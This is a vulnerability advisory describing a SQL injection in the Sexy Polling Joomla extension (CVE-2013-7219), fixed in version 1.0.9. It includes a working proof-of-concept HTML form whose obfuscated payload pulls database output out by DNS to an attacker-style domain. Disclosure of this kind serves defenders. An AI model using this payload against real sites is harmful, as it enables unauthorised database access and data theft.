Stay in touch

Get our research, blog and event invitations before everybody else!

Your data will stay confidential Private and Confidential

SQL Injection in Sexy Polling Joomla Extension

Advisory ID:HTB23193
Product:Sexy Polling Joomla Extension
Vulnerable Versions:1.0.8 and probably prior
Tested Version:1.0.8
Advisory Publication:December 26, 2013 [without technical details]
Vendor Notification:December 26, 2013
Vendor Fix:January 8, 2014
Public Disclosure:January 16, 2014
Latest Update:January 9, 2014
Vulnerability Type:SQL Injection [CWE-89]
CVE Reference:CVE-2013-7219
Risk Level:High
CVSSv2 Base Score:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Sexy Polling Joomla Extension, which can be exploited to perform SQL Injection attacks.

1) SQL Injection in Sexy Polling Joomla Extension: CVE-2013-7219
The vulnerability exists due to insufficient validation of "answer_id[]" HTTP POST parameter passed to "/components/com_sexypolling/vote.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.
The following exploitation example is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP address for `version()` (or any other sensitive output from the database) subdomain of "" (a domain name, DNS server of which is controlled by the attacker):
<form action="http://[host]/components/com_sexypolling/vote.php"
method="post" name="main">

<input type="hidden" name="answer_id[]" value="',(select load_file(CONCAT(CHAR(92),CHAR(92),(select
version()),CHAR(46),CHAR(97),CHA R(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CH AR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),C HAR(97),CHAR(114)))),'','','','','')
-- ">

<input type="submit" id="btn">

ImmuniWeb® On-Demand Web Application Penetration Test

Update to Sexy Polling 1.0.9

More Information:

[1] High-Tech Bridge Advisory HTB23193 - - SQL Injection in Sexy Polling Joomla Extension.
[2] Sexy Polling Joomla Extension - - Polling for Joomla.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] Free SSL/TLS Server test - Test SSL/TLS encryption reliability and security of your web or email server, verify compliance with PCI DSS, HIPAA and NIST.
User Comments
Add Comment

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
High-Tech Bridge on Facebook High-Tech Bridge on Twitter High-Tech Bridge on LinkedIn High-Tech Bridge RSS Feeds Send by Email